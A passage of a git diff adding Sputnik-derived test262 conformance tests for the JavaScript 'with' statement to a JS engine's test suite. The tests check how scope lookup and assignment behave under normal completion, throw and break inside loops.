+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ with(myObj){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+ var obj = new f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T1.js
new file mode 100644
index 000000000..2bbec00ec
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T1.js
@@ -0,0 +1,139 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.4_T1.js
+ * @description Using "with" statement within iteration statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+do{
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+while(false);
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T2.js
new file mode 100644
index 000000000..9bafbb075
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T2.js
@@ -0,0 +1,148 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.4_T2.js
+ * @description Using "with" statement within iteration statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ do{
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+ while(false);
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T3.js
new file mode 100644
index 000000000..3b3e72f8a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T3.js
@@ -0,0 +1,150 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.4_T3.js
+ * @description Using "with" statement within iteration statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ do{
+ with(myObj){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+ while(false);
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T4.js
new file mode 100644
index 000000000..b9209bb67
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T4.js
@@ -0,0 +1,140 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.4_T4.js
+ * @description Using "with" statement within iteration statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+do{
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ break;
+ }
+}
+while(false);
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T5.js
new file mode 100644
index 000000000..b942e2b41
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.4_T5.js
@@ -0,0 +1,142 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.4_T5.js
+ * @description Using "with" statement within iteration statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+do{
+ with(myObj){
+ break;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+while(false);
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 ===undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T1.js
new file mode 100644
index 000000000..a45cd5df1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.5_T1.js
+ * @description Using "with" statement within "for-in" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+for(var prop in myObj){
+ with(myObj){
+ if(prop === 'p1') {
+ st_p1 = p1;
+ p1 = 'x1';
+ }
+ if(prop === 'p2') {
+ st_p2 = p2;
+ this.p2 = 'x2';
+ }
+ if(prop === 'p3') {
+ st_p3 = p3;
+ del = delete p3;
+ }
+ if(prop === 'parseInt') st_parseInt = parseInt;
+ if(prop === 'NaN') st_NaN = NaN;
+ if(prop === 'Infinity') st_Infinity = Infinity;
+ if(prop === 'eval') st_eval = eval;
+ if(prop === 'parseFloat') st_parseFloat = parseFloat;
+ if(prop === 'isNaN') st_isNaN = isNaN;
+ if(prop === 'isFinite') st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T2.js
new file mode 100644
index 000000000..4efa5a216
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T2.js
@@ -0,0 +1,147 @@
